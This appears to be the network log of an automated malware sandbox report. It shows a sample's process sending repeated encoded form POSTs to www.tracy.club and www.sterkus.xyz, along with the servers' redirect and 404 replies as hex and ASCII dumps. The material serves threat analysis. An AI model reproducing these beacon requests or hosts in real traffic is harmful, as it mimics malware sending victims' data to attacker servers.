                                                                                                                                                                    Host: www.tracy.club
                                                                                                                                                                    Origin: http://www.tracy.club
                                                                                                                                                                    Referer: http://www.tracy.club/fl4z/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 75 50 66 71 6e 39 55 42 49 2b 7a 7a 65 4a 70 47 69 36 4c 59 32 70 61 48 72 39 46 43 65 63 57 6f 75 7a 33 67 77 65 78 4f 50 4e 41 4d 66 5a 33 78 77 34 73 6a 79 4c 74 30 4c 35 53 4e 79 6f 31 30 36 4d 55 6e 58 6c 36 78 4a 55 4b 34 5a 4c 51 61 4a 2b 41 73 64 36 34 72 39 4b 62 58 4d 75 4a 79 54 73 4c 4b 44 36 54 74 66 6b 47 64 55 58 73 44 48 37 59 4f 45 61 71 4f 54 77 68 58 58 4d 69 72 53 62 6b 32 48 36 66 57 4c 58 39 4b 4a 51 46 74 41 6d 6d 32 39 45 75 6d 64 50 47 61 31 69 65 44 34 49 55 66 43 42 75 51 76 76 79 74 30 35 59 30 37 2f 32 62 35 4d 44 52 77 55 38 6a 4f 2f 4b 65 73 30 66 58 64 33 49 57 69 52 38 6e 6f 4c 4a 4a 51 7a 59 6e 31 51 41 66 39 46 70 4d
                                                                                                                                                                    Data Ascii: tD38rnpX=uPfqn9UBI+zzeJpGi6LY2paHr9FCecWouz3gwexOPNAMfZ3xw4sjyLt0L5SNyo106MUnXl6xJUK4ZLQaJ+Asd64r9KbXMuJyTsLKD6TtfkGdUXsDH7YOEaqOTwhXXMirSbk2H6fWLX9KJQFtAmm29EumdPGa1ieD4IUfCBuQvvyt05Y07/2b5MDRwU8jO/Kes0fXd3IWiR8noLJJQzYn1QAf9FpM


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    11192.168.2.5621983.33.130.190802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:28:21.218713999 CEST1712OUTPOST /fl4z/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 1245
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.tracy.club
                                                                                                                                                                    Origin: http://www.tracy.club
                                                                                                                                                                    Referer: http://www.tracy.club/fl4z/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 75 50 66 71 6e 39 55 42 49 2b 7a 7a 65 4a 70 47 69 36 4c 59 32 70 61 48 72 39 46 43 65 63 57 6f 75 7a 33 67 77 65 78 4f 50 4e 49 4d 66 76 37 78 69 62 55 6a 7a 4c 74 30 56 4a 53 4d 79 6f 30 75 36 4d 73 6a 58 6c 6e 47 4a 57 79 34 5a 70 6f 61 43 73 6f 73 55 36 34 72 30 71 62 57 50 65 4a 6e 54 73 62 57 44 35 37 74 66 6b 47 64 55 55 30 44 41 76 45 4f 66 61 71 4e 45 41 68 54 46 38 69 54 53 62 73 41 48 36 4b 72 4c 6d 64 4b 4a 77 56 74 4d 30 4f 32 79 45 75 6b 61 50 47 43 31 69 53 63 34 49 59 54 43 42 4c 31 76 74 53 74 32 49 78 79 67 38 57 46 76 73 75 39 38 57 45 52 63 61 53 2f 6e 56 65 6c 58 6d 51 72 75 6c 34 61 74 4d 4e 55 62 44 42 73 67 45 78 4d 33 6a 55 61 4b 79 58 6f 38 7a 6d 65 64 55 32 41 4e 72 37 41 51 44 71 78 56 36 57 41 76 73 56 78 38 62 44 37 6a 49 63 76 6f 71 31 70 55 59 62 63 76 4b 74 67 35 51 2f 78 57 57 57 46 38 73 48 7a 74 34 4a 6f 56 77 5a 49 31 53 31 68 77 66 67 6f 73 6e 39 55 48 49 49 63 70 66 73 39 54 79 56 6e 6a 76 6a 66 6d 33 75 6e 6f 4d 4d 74 55 2b 43 4e 49 [TRUNCATED]
                                                                                                                                                                    Data Ascii: tD38rnpX=uPfqn9UBI+zzeJpGi6LY2paHr9FCecWouz3gwexOPNIMfv7xibUjzLt0VJSMyo0u6MsjXlnGJWy4ZpoaCsosU64r0qbWPeJnTsbWD57tfkGdUU0DAvEOfaqNEAhTF8iTSbsAH6KrLmdKJwVtM0O2yEukaPGC1iSc4IYTCBL1vtSt2Ixyg8WFvsu98WERcaS/nVelXmQrul4atMNUbDBsgExM3jUaKyXo8zmedU2ANr7AQDqxV6WAvsVx8bD7jIcvoq1pUYbcvKtg5Q/xWWWF8sHzt4JoVwZI1S1hwfgosn9UHIIcpfs9TyVnjvjfm3unoMMtU+CNI8XVdCmeI3EnYpR2rQ/PDbVw/SKuPg2TSh8T3vEuT5kTwwzcXzIVUvWydiVJ7klIq0nmfTffo8NDOVnhP+omJYbT/T5od4lAVvx7VvSbgtGZqaAc4xTQWJV44Dz6/n/lg58FvSVWbxsJChUyK0pDacs+EGndOXfcDl4qdkp3hMBM7i0NRLjCivAeuXhXKzoH4cPPNoR+SufzwVtj6/uatP+pAn0sHFWjkcCpTd/yZ+pg+LS+kMiJ51ubJkwsS+6WorGJU/6/Ht5QSglzmPVlW0lNdeGgokJ4UHlWVO87l10X2X9NSECHZMlqPhQMTt1dU1qoljkgEzbAaaRezD4HaLqJSKYhOlX1oLecF0j+fQ+ElEW3zwG3C3XvVfpiQfe9mZO+eHTFAwoJNGUVafVM0okSuizbWwHH8DeGSjSDjX97lLH3KSe5NhcYsbqXZNB+dayRI1OzAMGEB9MNKByltla/8hLdmpGitgZIydZApLylmeRDHLqVktQStX66X8MCEm6dclPx57GCf/HCWQVbvahzvFL4yzTxWlU7ETVZaG0+YmhZfQ+TTTF30Yj84A/uxiNkgZlDV1dS1eLwV99WFOr+250x/lBeBW90QNRkb49L/5Z8b3AkIQ/fxhE87t9pPvqdzM79Nj4AOenMc64GT8Wm4Vptzl1QB1Y [TRUNCATED]


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    12192.168.2.5621993.33.130.190802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:28:23.762290001 CEST423OUTGET /fl4z/?tD38rnpX=jN3KkN8xc9fseqtyr4X8nJfH94tzQs+avQjwnfoXfZkRaIXL2JZC0r1JTtOX041q/8MEGRSGOm2xSpEpVpIzbo1NqK3PKuQaAPPfFY6+C0+pHlsubNBPbYC2QzRTU8ncLQ==&EjY0i=xfOdKrMPu HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Host: www.tracy.club
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Oct 25, 2024 16:28:27.331815004 CEST412INHTTP/1.1 200 OK
                                                                                                                                                                    Server: openresty
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:28:27 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 272
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 74 44 33 38 72 6e 70 58 3d 6a 4e 33 4b 6b 4e 38 78 63 39 66 73 65 71 74 79 72 34 58 38 6e 4a 66 48 39 34 74 7a 51 73 2b 61 76 51 6a 77 6e 66 6f 58 66 5a 6b 52 61 49 58 4c 32 4a 5a 43 30 72 31 4a 54 74 4f 58 30 34 31 71 2f 38 4d 45 47 52 53 47 4f 6d 32 78 53 70 45 70 56 70 49 7a 62 6f 31 4e 71 4b 33 50 4b 75 51 61 41 50 50 66 46 59 36 2b 43 30 2b 70 48 6c 73 75 62 4e 42 50 62 59 43 32 51 7a 52 54 55 38 6e 63 4c 51 3d 3d 26 45 6a 59 30 69 3d 78 66 4f 64 4b 72 4d 50 75 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                    Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?tD38rnpX=jN3KkN8xc9fseqtyr4X8nJfH94tzQs+avQjwnfoXfZkRaIXL2JZC0r1JTtOX041q/8MEGRSGOm2xSpEpVpIzbo1NqK3PKuQaAPPfFY6+C0+pHlsubNBPbYC2QzRTU8ncLQ==&EjY0i=xfOdKrMPu"}</script></head></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    13192.168.2.562200209.74.95.29802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:28:32.479077101 CEST678OUTPOST /ha8h/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 209
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.sterkus.xyz
                                                                                                                                                                    Origin: http://www.sterkus.xyz
                                                                                                                                                                    Referer: http://www.sterkus.xyz/ha8h/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 43 5a 5a 67 5a 38 77 52 47 7a 33 68 59 74 31 41 72 49 4d 59 6f 46 2b 73 57 76 45 64 59 70 59 56 58 6f 45 34 62 65 34 35 36 30 79 6f 69 4d 4a 35 77 51 44 52 4e 41 76 48 55 49 50 78 6c 43 68 7a 67 72 64 51 47 35 2b 6d 35 2b 5a 50 57 42 47 43 4d 56 76 75 2b 67 59 59 2f 54 79 59 46 4c 45 76 72 73 55 66 46 50 70 52 33 53 68 6f 56 48 2b 6e 55 77 4d 42 69 36 51 55 4f 72 36 79 73 6e 44 39 54 6b 72 58 35 6d 54 62 64 6b 57 72 56 42 32 2f 5a 50 59 68 4d 6d 2f 49 76 69 68 51 4b 4b 4d 75 68 73 4a 57 79 42 71 54 65 67 6a 65 31 4f 72 41 44 71 52 70 49 36 55 41 36 55 70 59 63 72 37 71 78 6d 39 37 65 78 55 3d
                                                                                                                                                                    Data Ascii: tD38rnpX=CZZgZ8wRGz3hYt1ArIMYoF+sWvEdYpYVXoE4be4560yoiMJ5wQDRNAvHUIPxlChzgrdQG5+m5+ZPWBGCMVvu+gYY/TyYFLEvrsUfFPpR3ShoVH+nUwMBi6QUOr6ysnD9TkrX5mTbdkWrVB2/ZPYhMm/IvihQKKMuhsJWyBqTegje1OrADqRpI6UA6UpYcr7qxm97exU=
                                                                                                                                                                    Oct 25, 2024 16:28:33.185937881 CEST1236INHTTP/1.1 404 Not Found
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:28:33 GMT
                                                                                                                                                                    Server: Apache
                                                                                                                                                                    Content-Length: 13928
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 [TRUNCATED]
                                                                                                                                                                    Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <title>Makaan - Real Estate HTML Template</title> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <meta content="" name="keywords"> <meta content="" name="description"> ... Favicon --> <link href="img/favicon.ico" rel="icon"> ... Google Web Fonts --> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Heebo:wght@400;500;600&family=Inter:wght@700;800&display=swap" rel="stylesheet"> ... Icon Font Stylesheet --> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css" rel="stylesheet"> ... Libraries Stylesheet --> <link href="lib/animate/animate.min.css" [TRUNCATED]
                                                                                                                                                                    Oct 25, 2024 16:28:33.185970068 CEST1236INData Raw: 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 43 75 73 74 6f 6d 69 7a 65 64 20 42 6f 6f 74 73 74 72 61 70 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65
                                                                                                                                                                    Data Ascii: " rel="stylesheet"> ... Customized Bootstrap Stylesheet --> <link href="css/bootstrap.min.css" rel="stylesheet"> ... Template Stylesheet --> <link href="css/style.css" rel="stylesheet"></head><body> <div cl
                                                                                                                                                                    Oct 25, 2024 16:28:33.185986042 CEST1236INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 74 6f 67 67 6c 65 72 22 20 64 61
                                                                                                                                                                    Data Ascii: </a> <button type="button" class="navbar-toggler" data-bs-toggle="collapse" data-bs-target="#navbarCollapse"> <span class="navbar-toggler-icon"></span> </button>
                                                                                                                                                                    Oct 25, 2024 16:28:33.186080933 CEST1236INData Raw: 22 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 20 61 63 74 69 76 65 22 20 64 61 74 61 2d 62 73 2d 74 6f 67 67 6c 65 3d 22 64 72 6f 70 64 6f 77 6e 22 3e 50 61 67 65 73 3c 2f 61 3e 0d 0a 20 20 20
                                                                                                                                                                    Data Ascii: " class="nav-link dropdown-toggle active" data-bs-toggle="dropdown">Pages</a> <div class="dropdown-menu rounded-0 m-0"> <a href="testimonial.html" class="dropdown-item">Testimonial<
                                                                                                                                                                    Oct 25, 2024 16:28:33.186100006 CEST848INData Raw: 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 62 72 65 61 64 63 72 75 6d 62 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 23 22 3e 50 61 67 65 73 3c 2f 61 3e 3c 2f
                                                                                                                                                                    Data Ascii: > <li class="breadcrumb-item"><a href="#">Pages</a></li> <li class="breadcrumb-item text-body active" aria-current="page">404 Error</li> </ol>
                                                                                                                                                                    Oct 25, 2024 16:28:33.186758041 CEST1236INData Raw: 73 3d 22 63 6f 6c 2d 6d 64 2d 34 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 63 6c 61 73 73 3d 22 66 6f 72 6d 2d 63 6f 6e 74
                                                                                                                                                                    Data Ascii: s="col-md-4"> <input type="text" class="form-control border-0 py-3" placeholder="Search Keyword"> </div> <div class="col-md-4">
                                                                                                                                                                    Oct 25, 2024 16:28:33.186815977 CEST1236INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 32 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                                    Data Ascii: </div> <div class="col-md-2"> <button class="btn btn-dark border-0 w-100 py-3">Search</button> </div> </div> </div> </div>
                                                                                                                                                                    Oct 25, 2024 16:28:33.186832905 CEST1236INData Raw: 66 61 64 65 49 6e 22 20 64 61 74 61 2d 77 6f 77 2d 64 65 6c 61 79 3d 22 30 2e 31 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 20 70 79 2d 35 22 3e 0d 0a 20 20 20 20 20 20 20 20
                                                                                                                                                                    Data Ascii: fadeIn" data-wow-delay="0.1s"> <div class="container py-5"> <div class="row g-5"> <div class="col-lg-3 col-md-6"> <h5 class="text-white mb-4">Get In Touch</h5>
                                                                                                                                                                    Oct 25, 2024 16:28:33.186963081 CEST1236INData Raw: 69 6e 6b 73 3c 2f 68 35 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 6c 69 6e 6b 20 74 65 78 74 2d 77 68 69 74 65 2d 35 30 22 20 68 72 65 66 3d 22 22 3e 41
                                                                                                                                                                    Data Ascii: inks</h5> <a class="btn btn-link text-white-50" href="">About Us</a> <a class="btn btn-link text-white-50" href="">Contact Us</a> <a class="btn btn-link text-white-50"
                                                                                                                                                                    Oct 25, 2024 16:28:33.186980009 CEST1236INData Raw: 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 34 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                                    Data Ascii: div> <div class="col-4"> <img class="img-fluid rounded bg-light p-1" src="img/property-4.jpg" alt=""> </div> <div class="co
                                                                                                                                                                    Oct 25, 2024 16:28:33.191553116 CEST1236INData Raw: 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69
                                                                                                                                                                    Data Ascii: </div> </div> </div> </div> <div class="container"> <div class="copyright"> <div class="row"> <div class="col-


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    14192.168.2.562201209.74.95.29802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:28:35.031049013 CEST698OUTPOST /ha8h/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 229
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.sterkus.xyz
                                                                                                                                                                    Origin: http://www.sterkus.xyz
                                                                                                                                                                    Referer: http://www.sterkus.xyz/ha8h/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 43 5a 5a 67 5a 38 77 52 47 7a 33 68 5a 4e 46 41 70 76 51 59 67 46 2b 76 61 50 45 64 58 4a 59 52 58 6f 34 34 62 66 4d 58 36 43 71 6f 69 74 35 35 7a 55 33 52 4b 41 76 48 4d 34 4f 35 72 69 68 34 67 72 52 69 47 39 36 6d 35 2b 4e 50 57 46 4f 43 4e 69 44 70 2f 77 59 65 30 7a 79 61 59 37 45 76 72 73 55 66 46 4c 41 47 33 54 46 6f 56 33 69 6e 56 52 4d 43 35 61 51 62 4a 72 36 79 36 58 44 35 54 6b 72 35 35 6a 79 32 64 69 53 72 56 45 4b 2f 5a 2b 59 69 46 6d 2f 4f 67 43 67 51 43 4a 78 47 72 74 74 61 79 79 76 48 4d 52 37 31 35 59 47 71 5a 49 5a 42 62 61 34 34 71 48 68 76 4e 62 61 44 72 46 74 4c 41 6d 41 56 76 36 55 7a 2b 36 6f 2f 32 37 47 66 66 66 7a 4a 79 37 65 49
                                                                                                                                                                    Data Ascii: tD38rnpX=CZZgZ8wRGz3hZNFApvQYgF+vaPEdXJYRXo44bfMX6Cqoit55zU3RKAvHM4O5rih4grRiG96m5+NPWFOCNiDp/wYe0zyaY7EvrsUfFLAG3TFoV3inVRMC5aQbJr6y6XD5Tkr55jy2diSrVEK/Z+YiFm/OgCgQCJxGrttayyvHMR715YGqZIZBba44qHhvNbaDrFtLAmAVv6Uz+6o/27GfffzJy7eI
                                                                                                                                                                    Oct 25, 2024 16:28:35.735479116 CEST1236INHTTP/1.1 404 Not Found
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:28:35 GMT
                                                                                                                                                                    Server: Apache
                                                                                                                                                                    Content-Length: 13928
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 [TRUNCATED]
                                                                                                                                                                    Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <title>Makaan - Real Estate HTML Template</title> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <meta content="" name="keywords"> <meta content="" name="description"> ... Favicon --> <link href="img/favicon.ico" rel="icon"> ... Google Web Fonts --> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Heebo:wght@400;500;600&family=Inter:wght@700;800&display=swap" rel="stylesheet"> ... Icon Font Stylesheet --> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css" rel="stylesheet"> ... Libraries Stylesheet --> <link href="lib/animate/animate.min.css" [TRUNCATED]
                                                                                                                                                                    Oct 25, 2024 16:28:35.735524893 CEST1236INData Raw: 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 43 75 73 74 6f 6d 69 7a 65 64 20 42 6f 6f 74 73 74 72 61 70 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65
                                                                                                                                                                    Data Ascii: " rel="stylesheet"> ... Customized Bootstrap Stylesheet --> <link href="css/bootstrap.min.css" rel="stylesheet"> ... Template Stylesheet --> <link href="css/style.css" rel="stylesheet"></head><body> <div cl
                                                                                                                                                                    Oct 25, 2024 16:28:35.735578060 CEST1236INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 74 6f 67 67 6c 65 72 22 20 64 61
                                                                                                                                                                    Data Ascii: </a> <button type="button" class="navbar-toggler" data-bs-toggle="collapse" data-bs-target="#navbarCollapse"> <span class="navbar-toggler-icon"></span> </button>
                                                                                                                                                                    Oct 25, 2024 16:28:35.735611916 CEST1236INData Raw: 22 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 20 61 63 74 69 76 65 22 20 64 61 74 61 2d 62 73 2d 74 6f 67 67 6c 65 3d 22 64 72 6f 70 64 6f 77 6e 22 3e 50 61 67 65 73 3c 2f 61 3e 0d 0a 20 20 20
                                                                                                                                                                    Data Ascii: " class="nav-link dropdown-toggle active" data-bs-toggle="dropdown">Pages</a> <div class="dropdown-menu rounded-0 m-0"> <a href="testimonial.html" class="dropdown-item">Testimonial<
                                                                                                                                                                    Oct 25, 2024 16:28:35.735650063 CEST1236INData Raw: 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 62 72 65 61 64 63 72 75 6d 62 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 23 22 3e 50 61 67 65 73 3c 2f 61 3e 3c 2f
